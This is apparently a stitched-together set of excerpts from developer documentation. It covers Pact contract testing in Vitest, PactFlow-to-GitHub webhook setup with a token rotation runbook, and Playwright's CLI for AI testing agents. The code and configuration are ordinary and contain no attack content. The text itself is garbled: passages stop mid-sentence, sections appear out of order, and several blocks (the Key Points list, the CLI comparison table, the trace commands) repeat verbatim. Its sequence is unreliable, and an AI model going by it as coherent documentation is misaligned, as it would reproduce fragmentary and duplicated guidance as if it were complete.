This is the command CI and developers run before pushing. See Example 10 for the `check-pact-determinism.sh` script itself. +- **`test:pact:consumer:run` is the fast inner command** for TDD loops (a single pass of the suite, no gate).

+``` + +**Key Points**: + +- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders) +- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form +- `setJsonBody` is equivalent to `setJsonContent({ body: ... })` + +### Example 6: One `addInteraction()` per `it()` Block (PactV4 Determinism Rule) + +**Context**: PactV4's `pact.addInteraction()` feeds the Rust FFI layer that writes interactions to the pact JSON. Chaining multiple `.addInteraction()...executeTest()` blocks inside a single `it()` — or otherwise registering multiple interactions before a single `executeTest` — causes the FFI to **non-deterministically drop whole interactions** (not individual fields) in roughly 1 out of N runs. The pattern passes locally, then fails intermittently in CI or at publish time with `Cannot change pact content for already published pact` once the dropped interaction reappears on a re-run. + +**Rule**: Exactly one `pact.addInteraction()` per `it()` block. For N interactions, write N `it()` blocks, or use `it.each(...)`. + +```typescript +// ❌ WRONG — two addInteraction() inside one it() — FFI non-deterministically drops one +it('handles movie lookup scenarios', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); + + // Sometimes this second interaction never makes it to the pact JSON: + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — one addInteraction() per it() +it('gets a movie by id', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +it('returns empty list when no movies exist', async () => { + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — parameterized via it.each for data-driven coverage +it.each([ + { id: 1, name: 'The Matrix' }, + { id: 2, name: 'Inception' }, +])('gets movie $id', async ({ id, name }) => { + await pact + .addInteraction() + .given('movie exists', { id, name }) + .uponReceiving(`a request to get movie ${id}`) + .withRequest('GET', `/movies/${id}`) + .willRespondWith(200, setJsonBody({ id: integer(id), name: string(name) })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); +``` + +**Key Points**: + +- **This rule stacks with two other MANDATORY vitest settings**: `fileParallelism: false` AND `pool: 'forks'` with `poolOptions.forks.singleFork: true`. All three are required and address different failure modes — `fileParallelism: false` prevents parallel workers from racing on the shared pact JSON; `pool: 'forks'` + `singleFork: true` prevents the Pact Rust FFI from leaking state across files (manifests as "request was expected but not received" flakes on Linux CI only); one-interaction-per-`it()` prevents the FFI from dropping interactions within a single test body. +- Symptom of violating this rule: the pact file is byte-different between otherwise-identical runs; `scripts/check-pact-determinism.sh` flags drift; PactFlow rejects a republish with `Cannot change pact content`. +- The rule applies to both HTTP consumer pacts (`PactV4`) and message consumer pacts (`MessageConsumerPact`). +- See `pact-consumer-framework-setup.md` Example 10 for the determinism gate that automatically catches violations of this rule. + +## Key Points + +- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)` +- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required) +- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement) +- **Date handling**: Date objects become ISO 8601 strings +- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them +- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety +- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API +- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders) +- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable +- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies. +- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths). +- **One `addInteraction()` per `it()` block (MANDATORY for PactV4)**: Multiple interactions inside one `it()` cause the Rust FFI to non-deterministically drop interactions. Use one `it()` per interaction or `it.each(...)` for parameterized cases.

The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window. + +## How CLI Relates to Playwright Utils and API Testing + +CLI and playwright-utils are **complementary tools that work at different layers**: + +| | Playwright CLI | Playwright Utils | +| ------------ | -------------------------------------------- | ------------------------------------------------ | +| **When** | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) | +| **What** | Shell commands to observe your app | Fixtures and helpers imported in test files | +| **Examples** | `snapshot`, `screenshot`, `network` | `apiRequest`, `auth-session`, `network-recorder` | + +They work together naturally.

But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically: + +```bash +# API test fails in CI → open the trace artifact +npx playwright trace open test-results/api-users/trace.zip + +# What HTTP call failed? +npx playwright trace requests --failed +# Output: #3 POST /api/users → 422 12ms + +# Full request/response details (headers, body, timing) +npx playwright trace request 3 + +# What assertion failed and why? +npx playwright trace errors + +# Done +npx playwright trace close +``` + +This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures. + +**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging. + +**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_. + +## Session Isolation + +Every CLI command targets a named session. This prevents workflows from interfering with each other: + +```bash +# Workflow A uses one session +playwright-cli -s=tea-explore open https://app.com + +# Workflow B uses a different session (can run in parallel) +playwright-cli -s=tea-verify open https://app.com/admin +``` + +For parallel safety (multiple agents on the same machine), append a unique suffix: + +```bash +playwright-cli -s=tea-explore-<timestamp> open https://app.com +``` + +## Autonomous Trace Investigation (Playwright 1.59+) + +For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents.

Manual healing captures these patterns for future automation. + +## Rationale + +**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites. + +**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application. + +**Why This Matters**: + +- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual

Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; serialization alone (via `fileParallelism: false`) is insufficient on the default threads pool in Vitest v1. Forks + `singleFork: true` runs every pact file in one subprocess with a coherent FFI handle and eliminated a reproducible Linux-CI flake on two repos (`pactjs-utils`, `seon-mcp-server`). Single-file consumer suites have not been observed to flake; this rule is still recommended as a future-proof.

GitHub warns against this for human users; for a locked-down machine-user PAT stored in PactFlow's secret vault, the security trade-off is documented and accepted. +- The alternative — rotating a PAT every 30/60/90 days — requires tooling and coordination most teams don't yet have. Long-lived + monitored + machine-user-owned is the pragmatic default. + +## Pattern Examples + +### Example 1: Webhook URL, Headers, and Body + +```json +{ + "description": "Notify <provider-repo> when a consumer contract requires verification", + "events": [{ "name": "contract_requiring_verification_published" }], + "provider": { "name": "<provider-pacticipant-name>" }, + "request": { + "method": "POST", + "url": "https://api.github.com/repos/<org>/<provider-repo>/dispatches", + "headers": { + "Accept": "application/vnd.github+json", + "Authorization": "Bearer ${user.githubToken}", + "Content-Type": "application/json", + "User-Agent": "PactFlow", + "X-GitHub-Api-Version": "2022-11-28" + }, + "body": { + "event_type": "contract_requiring_verification_published", + "client_payload": { + "pact_url": "${pactbroker.pactUrl}", + "sha": "${pactbroker.providerVersionNumber}", + "branch": "${pactbroker.providerVersionBranch}", + "consumer_name": "${pactbroker.consumerName}", + "consumer_version_number": "${pactbroker.consumerVersionNumber}", + "consumer_version_tags": "${pactbroker.consumerVersionTags}", + "consumer_version_branch": "${pactbroker.consumerVersionBranch}" + } + } + } +} +``` + +**Key Points**: + +- `${user.githubToken}` references a PactFlow **secret** stored in `Settings → Secrets` (web UI: `/settings/secrets`). The secret holds the classic PAT — never inline the token in the webhook body. +- `${pactbroker.*}` are PactFlow-injected template variables; the provider workflow reads them from `github.event.client_payload`. +- Use the `contract_requiring_verification_published` event (not `contract_published`) — the former fires only when a new pact _content_ change needs verification; the latter fires on every publish, including no-op republishes. + +### Example 2: Provider GitHub Actions Workflow (Triggered by Webhook) + +```yaml +# .github/workflows/contract-test-provider.yml +name: contract-test-provider + +on: + repository_dispatch: + types: [contract_requiring_verification_published] + push: + branches: [main] + +jobs: + verify: + runs-on: ubuntu-latest + env: + PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }} + PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }} + # Pulled from webhook client_payload when triggered by PactFlow: + PACT_PAYLOAD_URL: ${{ github.event.client_payload.pact_url }} + GITHUB_SHA: ${{ github.event.client_payload.sha || github.sha }} + GITHUB_BRANCH: ${{ github.event.client_payload.branch || github.head_ref || github.ref_name }} + steps: + - uses: actions/checkout@v4 + with: + # Check out the provider version known to the broker — this is the provider SHA PactFlow wants verified. + ref: ${{ github.event.client_payload.sha || github.sha }} + - uses: actions/setup-node@v4 + with: + node-version: 20 + - run: npm ci + - name: Run provider verification + run: npm run test:pact:provider + - name: Can I deploy provider? + if: github.event_name == 'push' + run: npm run can:i:deploy:provider +``` + +**Key Points**: + +- `repository_dispatch` is the event type emitted by GitHub when the webhook's REST call hits `/repos/<org>/<repo>/dispatches`. +- The `types` filter must match the webhook's `event_type` (`contract_requiring_verification_published` here). +- Checking out the provider version known to the broker (`providerVersionNumber`) ensures verification runs against the exact provider commit PactFlow registered — not whatever is on main. +- `PACT_PAYLOAD_URL` makes `buildVerifierOptions` verify only the triggering pact (see `pactjs-utils-provider-verifier.md` Example 1). + +### Example 3: Secret Rotation Runbook + +**Trigger**: `can-i-deploy` in a consumer repo times out with `There is no verified pact between <consumer-version> and the version of <provider> currently in <env>` — AND the provider's `contract-test-provider` workflow shows no recent `repository_dispatch` runs. + +**Diagnosis**: + +1.

Log in to GitHub as the dedicated machine user (e.g., `pactflow-<org>`). **Do not use a personal account** — the whole point of the machine user is that the token outlives any individual. +2. `Settings → Developer settings → Personal access tokens → Tokens (classic) → Generate new token (classic)`. +3. Configure the token: + - Name: `pactflow-webhook-<yyyy-mm-dd>` + - Expiration: **No expiration** (accepted trade-off for a locked-down machine-user token stored in PactFlow's secret vault) + - Scopes: **`repo`** (full repo scope is required by `repository_dispatch`; `public_repo` alone is insufficient for private repos) +4. Copy the new token value (shown only once). +5. In PactFlow UI: `Settings → Secrets → <secret-name>` (e.g., `githubToken`). Paste the new token into the **value** field and save. The webhook does not need to be edited — it references the secret by name via `${user.<secret-name>}`. +6. Re-test the webhook: `Settings → Webhooks → <webhook-id> → Test`. Expect `HTTP/1.1 204 No Content` (GitHub's success response for `repository_dispatch`). +7. In the provider repo: watch `Actions → contract-test-provider` for the newly dispatched run. Re-run the original consumer CI to confirm `can-i-deploy` now passes. +8. Revoke the old token: in the machine user's GitHub settings, delete the previous `pactflow-webhook-*` token so a leaked copy can't be reused. + +**Why no expiration**: A token with a 90-day expiry rotates 4× per year.

Name it `pactflow-<org>` or similar; give it outside-collaborator access only to the specific provider repos. +- **Classic PAT, `repo` scope, no expiration** — required for `repository_dispatch`.

Without it, parallel workers race on the shared pact JSON file and corrupt interactions. Symptom: local runs pass, CI randomly fails with `Cannot change pact content for already published pact`. See Example 10 for the determinism gate that enforces byte-stability across re-runs. +- **`pool: 'forks'` + `singleFork: true` is required for multi-file consumer suites** — same config the provider side uses (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; with the default threads pool (Vitest v1) and multiple `.pacttest.ts` files on the same consumer+provider pair, we observed reproducible "request was expected but not received" flakes on Linux CI only. `singleFork: true` serializes every pact file into one forked subprocess and eliminated the flake on two repos (`pactjs-utils`, `seon-mcp-server`). Vitest v2+ defaults to `forks`, but set the pool explicitly so the contract does not drift with Vitest version bumps. +- **Single-file consumer suites** (one `.pacttest.ts` per consumer+provider pair) have not been observed to flake under default threads pool, because FFI state is not shared across files when there is only one file. Adding `pool: 'forks'` is still recommended — it future-proofs you the moment a second file is added — but a suite passing today with only `fileParallelism: false` is not broken. +- **Interacting settings**: leave `isolate` at its default (`true`). Do NOT set `sequence.concurrent: true`, `maxConcurrency > 1`, or `maxWorkers > 1` in this config — they defeat the serialization this rule relies on. `hookTimeout` may be raised if mock-server startup is slow, but keep `testTimeout` ≥ `hookTimeout`. +- Do NOT add `setupFiles`, `coverage`, or other settings from the unit test config +- Keep it minimal — Pact tests run in Node environment with extended timeout +- 30 second timeout accommodates Pact mock server startup and interaction verification +- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config + +--- + +### Example 3: Package.json Script Naming + +**Context**: Colon-separated naming matching pactjs-utils exactly.

The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies. +- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths). +- **One `addInteraction()` per `it()` block (MANDATORY for PactV4)**: Multiple interactions inside one `it()` cause the Rust FFI to non-deterministically drop interactions.

well for HTTP and message (async/Kafka) contracts. + +## Rationale + +### Problems with raw @pact-foundation/pact + +- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually

Explicit type coercion (null→"null", Date→ISO string, nested objects flattened) +- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body) +- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })` +- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows +- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification +- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness +- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.) +-

Always use `@seontechnologies/pactjs-utils` (no subpath exports) +- **Peer dependency**: `@pact-foundation/pact` must be installed separately +- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files +- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars +- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch) +- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks +- **Type

Clean up +playwright-cli -s=tea-explore close +``` + +The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows. + +## What TEA Uses It For + +**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In": + +``` +snapshot ref {role: "button", name: "Sign In"} + → generates: page.getByRole('button', { name: 'Sign In' }) +``` + +**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation. + +**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session. + +**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window. + +## How CLI Relates to Playwright Utils and API Testing + +CLI and playwright-utils are **complementary tools that work at different layers**: + +| | Playwright CLI | Playwright Utils | +| ------------ | -------------------------------------------- | ------------------------------------------------ | +| **When** | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) | +| **What** | Shell commands to observe your app | Fixtures and helpers imported in test files | +| **Examples** | `snapshot`, `screenshot`, `network` | `apiRequest`, `auth-session`, `network-recorder` | + +They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils: + +```bash +# Agent uses CLI to observe network traffic on the dashboard page +playwright-cli -s=tea-discover open https://app.com/dashboard +playwright-cli -s=tea-discover network +# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200 +playwright-cli -s=tea-discover close +``` + +```typescript +// Agent generates API tests using what it discovered, with playwright-utils +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test('GET /api/users returns user list', async ({ apiRequest }) => { + const { status, body } = await apiRequest<User[]>({ + method: 'GET', + path: '/api/users', + }); + expect(status).toBe(200); + expect(body.length).toBeGreaterThan(0); +}); +``` + +**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically: + +```bash +# API test fails in CI → open the trace artifact +npx playwright trace open test-results/api-users/trace.zip + +# What HTTP call failed? +npx playwright trace requests --failed +# Output: #3 POST /api/users → 422 12ms + +# Full request/response details (headers, body, timing) +npx playwright trace request 3 + +# What assertion failed and why? +npx playwright trace errors + +# Done +npx playwright trace close +``` + +This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures. + +**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging. + +**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_. + +## Session Isolation + +Every CLI command targets a named session. This prevents workflows from interfering with each other: + +```bash +# Workflow A uses one session +playwright-cli -s=tea-explore open https://app.com + +# Workflow B uses a different session (can run in parallel) +playwright-cli -s=tea-verify open https://app.com/admin +``` + +For parallel safety (multiple agents on the same machine), append a unique suffix: + +```bash +playwright-cli -s=tea-explore-<timestamp> open https://app.com +``` + +## Autonomous Trace Investigation (Playwright 1.59+) + +For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents.
